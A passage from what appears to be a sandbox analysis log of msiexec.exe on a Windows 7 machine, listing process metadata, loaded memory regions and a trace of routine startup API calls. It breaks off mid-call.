os_tid = 0x3e0 Thread: id = 127 os_tid = 0x37c Thread: id = 128 os_tid = 0x374 Thread: id = 129 os_tid = 0x36c Thread: id = 138 os_tid = 0xcd0 Thread: id = 172 os_tid = 0xdfc Thread: id = 193 os_tid = 0xe30 Thread: id = 194 os_tid = 0xe34 Thread: id = 195 os_tid = 0xe20 Thread: id = 196 os_tid = 0xe44 Thread: id = 197 os_tid = 0x964 Thread: id = 493 os_tid = 0xb0c Thread: id = 533 os_tid = 0xebc Thread: id = 535 os_tid = 0xeac Thread: id = 536 os_tid = 0xea8 Thread: id = 539 os_tid = 0xe60 Thread: id = 541 os_tid = 0xe6c Thread: id = 554 os_tid = 0xf18 Thread: id = 556 os_tid = 0xf74 Process: id = "8" image_name = "msiexec.exe" filename = "c:\\windows\\syswow64\\msiexec.exe" page_root = "0x2e63b000" os_pid = "0x140" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xf30" cmd_line = "C:\\Windows\\syswow64\\MsiExec.exe -Embedding 15C2A74905FE813C1C1C8CDCF151DE4D" cur_dir = "C:\\Windows\\SysWOW64\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2208 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2209 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2210 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2211 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2212 start_va = 0x60000 end_va = 0x61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2213 start_va = 0x110000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2214 start_va = 0x1e0000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 2215 start_va = 0x810000 end_va = 0x823fff monitored = 1 entry_point = 0x813db0 region_type = mapped_file name = "msiexec.exe" filename = "\\Windows\\SysWOW64\\msiexec.exe" (normalized: "c:\\windows\\syswow64\\msiexec.exe") Region: id = 2216 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2217 start_va = 0x76f00000 end_va = 0x7707ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2218 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2219 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2220 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2221 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2222 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2223 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2224 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2225 start_va = 0x220000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2226 start_va = 0x73690000 end_va = 0x736cefff monitored = 0 entry_point = 0x736be088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2227 start_va = 0x73630000 end_va = 0x7368bfff monitored = 0 entry_point = 0x7366f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2228 start_va = 0x73620000 end_va = 0x73627fff monitored = 0 entry_point = 0x736220f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2229 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2230 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2231 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2232 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076b00000" filename = "" Region: id = 2233 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2234 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c20000" filename = "" Region: id = 2235 start_va = 0x430000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 2236 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2237 start_va = 0x753c0000 end_va = 0x75406fff monitored = 0 entry_point = 0x753c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2238 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2239 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2240 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2241 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2242 start_va = 0x76a60000 end_va = 0x76afffff monitored = 0 entry_point = 0x76a749e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2243 start_va = 0x75410000 end_va = 0x754bbfff monitored = 0 entry_point = 0x7541a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2244 start_va = 0x759a0000 end_va = 0x759b8fff monitored = 0 entry_point = 0x759a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2245 start_va = 0x76970000 end_va = 0x76a5ffff monitored = 0 entry_point = 0x76980569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2246 start_va = 0x74a50000 end_va = 0x74aaffff monitored = 0 entry_point = 0x74a6a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2247 start_va = 0x74a40000 end_va = 0x74a4bfff monitored = 0 entry_point = 0x74a410e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2248 start_va = 0x76860000 end_va = 0x7695ffff monitored = 0 entry_point = 0x7687b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2249 start_va = 0x75220000 end_va = 0x752affff monitored = 0 entry_point = 0x75236343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2250 start_va = 0x759c0000 end_va = 0x759c9fff monitored = 0 entry_point = 0x759c36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2251 start_va = 0x74d40000 end_va = 0x74ddcfff monitored = 0 entry_point = 0x74d73fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2252 start_va = 0x75740000 end_va = 0x7589bfff monitored = 0 entry_point = 0x7578ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2253 start_va = 0x722b0000 end_va = 0x724effff monitored = 0 entry_point = 0x722b66bd region_type = mapped_file name = "msi.dll" filename = "\\Windows\\SysWOW64\\msi.dll" (normalized: "c:\\windows\\syswow64\\msi.dll") Region: id = 2254 start_va = 0x751c0000 end_va = 0x75216fff monitored = 0 entry_point = 0x751d9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2255 start_va = 0x220000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2256 start_va = 0x3b0000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 2257 start_va = 0x430000 end_va = 0x5b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2258 start_va = 0x5c0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 2259 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2260 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2261 start_va = 0x75550000 end_va = 0x755affff monitored = 0 entry_point = 0x7556158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2262 start_va = 0x74c40000 end_va = 0x74d0bfff monitored = 0 entry_point = 0x74c4168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2263 start_va = 0x830000 end_va = 0x9b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000830000" filename = "" Region: id = 2264 start_va = 0x9c0000 end_va = 0x1dbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009c0000" filename = "" Region: id = 2265 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msiexec.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\msiexec.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\msiexec.exe.mui") Region: id = 2266 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2267 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2268 start_va = 0x73a90000 end_va = 0x73c2dfff monitored = 0 entry_point = 0x73abe6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 2269 start_va = 0xf0000 end_va = 0xf0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 2270 start_va = 0x100000 end_va = 0x101fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2271 start_va = 0x1dc0000 end_va = 0x208efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2272 start_va = 0x150000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2273 start_va = 0x2e0000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 2274 start_va = 0x360000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 2275 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2276 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2277 start_va = 0x754c0000 end_va = 0x75542fff monitored = 0 entry_point = 0x754c23d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2278 start_va = 0x75130000 end_va = 0x751befff monitored = 0 entry_point = 0x75133fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2279 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 2280 start_va = 0x1a0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 2281 start_va = 0x290000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 2282 start_va = 0x738e0000 end_va = 0x738f6fff monitored = 0 entry_point = 0x738e3573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 2283 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2284 start_va = 0x220000 end_va = 0x25bfff monitored = 0 entry_point = 0x22128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2285 start_va = 0x220000 end_va = 0x25bfff monitored = 0 entry_point = 0x22128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2286 start_va = 0x220000 end_va = 0x25bfff monitored = 0 entry_point = 0x22128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2287 start_va = 0x220000 end_va = 0x25bfff monitored = 0 entry_point = 0x22128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2288 start_va = 0x220000 end_va = 0x25bfff monitored = 0 entry_point = 0x22128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2289 start_va = 0x738a0000 end_va = 0x738dafff monitored = 0 entry_point = 0x738a128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2290 start_va = 0x747a0000 end_va = 0x747adfff monitored = 0 entry_point = 0x747a1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2291 start_va = 0x240000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2292 start_va = 0x6e0000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 2293 start_va = 0x7a0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 2294 start_va = 0x20c0000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020c0000" filename = "" Region: id = 2295 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2296 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2297 start_va = 0x2110000 end_va = 0x214ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 2298 start_va = 0x21a0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021a0000" filename = "" Region: id = 2299 start_va = 0x749e0000 end_va = 0x74a18fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "msi8ecf.tmp" filename = "\\Windows\\Installer\\MSI8ECF.tmp" (normalized: "c:\\windows\\installer\\msi8ecf.tmp") Region: id = 2300 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 2301 start_va = 0x220000 end_va = 0x220fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2302 start_va = 0x75be0000 end_va = 0x76829fff monitored = 0 entry_point = 0x75c61601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 2303 start_va = 0x320000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Thread: id = 148 os_tid = 0xd48 [0141.009] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x21f95c | out: lpSystemTimeAsFileTime=0x21f95c*(dwLowDateTime=0x7ccd4bd0, dwHighDateTime=0x1d8a8f3)) [0141.009] GetCurrentProcessId () returned 0x140 [0141.009] GetCurrentThreadId () returned 0xd48 [0141.009] GetTickCount () returned 0x18798bd [0141.009] QueryPerformanceCounter (in: lpPerformanceCount=0x21f954 | out: lpPerformanceCount=0x21f954*=2578002534378) returned 1 [0141.010] GetStartupInfoA (in: lpStartupInfo=0x21f900 | out: lpStartupInfo=0x21f900*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\syswow64\\MsiExec.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0141.010] GetModuleHandleA (lpModuleName=0x0) returned 0x810000 [0141.010] __set_app_type (_Type=0x2) [0141.010] __p__fmode () returned 0x754b31f4 [0141.010] __p__commode () returned 0x754b31fc [0141.010] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x81c9ca) returned 0x0 [0141.010] __getmainargs (in: _Argc=0x81e0c8, _Argv=0x81e0d0, _Env=0x81e0cc, _DoWildCard=0, _StartInfo=0x81e048 | out: _Argc=0x81e0c8, _Argv=0x81e0d0, _Env=0x81e0cc) returned 0 [0141.011] _onexit (_Func=0x81cd13) returned 0x81cd13 [0141.011] _onexit (_Func=0x81cd2a) returned 0x81cd2a [0141.011] _onexit (_Func=0x81cd3b) returned 0x81cd3b [0141.011] _onexit (_Func=0x81cd4a) returned 0x81cd4a [0141.012] GetVersionExW (in: lpVersionInformation=0x21f754*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x21f754*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0141.012] LoadLibraryW (lpLibFileName="COMCTL32") returned 0x73a90000 [0142.037] GetProcAddress (hModule=0x73a90000, lpProcName="InitCommonControlsEx") returned 0x73ab09ce [0142.037] InitCommonControlsEx (picce=0x21f8b4) returned 1 [0142.039] GetVersionExW (in: lpVersionInformation=0x21d330*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x21d330*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0142.039] GetCurrentProcess () returned 0xffffffff [0142.039] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x1a, ProcessInformation=0x21d32c, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x21d32c, ReturnLength=0x0) returned 0x0 [0142.039] GetCommandLineW () returned="C:\\Windows\\syswow64\\MsiExec.exe -Embedding 15C2A74905FE813C1C1C8CDCF151DE4D" [0142.039] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0142.039] GetFileType (hFile=0x0) returned 0x0 [0142.040] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Embedding 15C2A74905FE813C1C1C8CDCF151DE4D", cchCount1=9, lpString2="update", cchCount2=-1) returned 1 [0142.047] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Embedding 15C2A74905FE813C1C1C8CDCF151DE4D", cchCount1=9, lpString2="uninstall", cchCount2=-1) returned 1 [0142.047] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Embedding 15C2A74905FE813C1C1C8CDCF151DE4D", cchCount1=9, lpString2="package", cchCount2=-1) returned 1 [0142.047] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Embedding 15C2A74905FE813C1C1C8CDCF151DE4D", cchCount1=9, lpString2="help", cchCount2=-1) returned 1 [0142.047] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Embedding 15C2A74905FE813C1C1C8CDCF151DE4D", cchCount1=9, lpString2="quiet", cchCount2=-1) returned 1 [0142.047] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Embedding 15C2A74905FE813C1C1C8CDCF151DE4D", cchCount1=9, lpString2="passive", cchCount2=-1) returned 1 [0142.047] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Embedding 15C2A74905FE813C1C1C8CDCF151DE4D", cchCount1=9, lpString2="norestart", cchCount2=-1) returned 1 [0142.047] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Embedding 15C2A74905FE813C1C1C8CDCF151DE4D", cchCount1=9, lpString2="forcerestart", cchCount2=-1) returned 1 [0142.047] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Embedding 15C2A74905FE813C1C1C8CDCF151DE4D", cchCount1=9, lpString2="promptrestart", cchCount2=-1) returned 1 [0142.047] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Embedding 15C2A74905FE813C1C1C8CDCF151DE4D", cchCount1=9, lpString2="log", cchCount2=-1) returned 1 [0142.047] memcpy (in: _Dst=0x21ee90, _Src=0x21d740, _Size=0x10 | out: _Dst=0x21ee90) returned 0x21ee90 [0142.048] lstrlenW (lpString="OLE32") returned 5 [0142.048] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x752b0000 [0142.048] GetProcAddress (hModule=0x752b0000, lpProcName="GetSystemWow64DirectoryW") returned 0x752cd92d [0142.048] GetSystemWow64DirectoryW (in: lpBuffer=0x21d238, uSize=0x105 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0142.048] FreeLibrary (hLibModule=0x752b0000) returned 1 [0142.048] SetLastError (dwErrCode=0x0) [0142.048] LoadLibraryW (lpLibFileName="C:\\Windows\\SysWOW64\\OLE32.DLL") returned 0x75740000 [0142.048] GetProcAddress (hModule=0x75740000, lpProcName="CoInitializeEx") returned 0x757809ad [0142.049] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0142.051] GetCurrentThread () returned 0xfffffffe [0142.051] OpenThreadToken (in: ThreadHandle=0xfffffffe, DesiredAccess=0x2, OpenAsSelf=1, TokenHandle=0x21d518 | out: TokenHandle=0x21d518*=0x0) returned 0 [0142.051] GetLastError () returned 0x3f0 [0142.052] RevertToSelf () returned 1 [0142.052] RegCloseKey (hKey=0x80000001) returned 0x0 [0142.052] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x0, lpName=0x0, cchName=0x0 | out: lpName=0x0) returned 0xea [0142.052] GetCurrentProcess () returned 0xffffffff [0142.052] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x21d4b4 | out: TokenHandle=0x21d4b4*=0xa4) returned 1 [0142.052] AllocateAndInitializeSid (in: pIdentifierAuthority=0x21d45c, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x21d458 | out: pSid=0x21d458*=0x5d53b0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0142.052] GetLengthSid (pSid=0x5d53b0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 0xc [0142.052] GetLengthSid (pSid=0x5d53b0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 0xc [0142.052] memcpy (in: _Dst=0x81f6f8, _Src=0x5d53b0, _Size=0xc | out: _Dst=0x81f6f8) returned 0x81f6f8 [0142.052] GetTokenInformation (in: TokenHandle=0xa4, TokenInformationClass=0x1, TokenInformation=0x21f844, TokenInformationLength=0x50, ReturnLength=0x21d480 | out: TokenInformation=0x21f844, 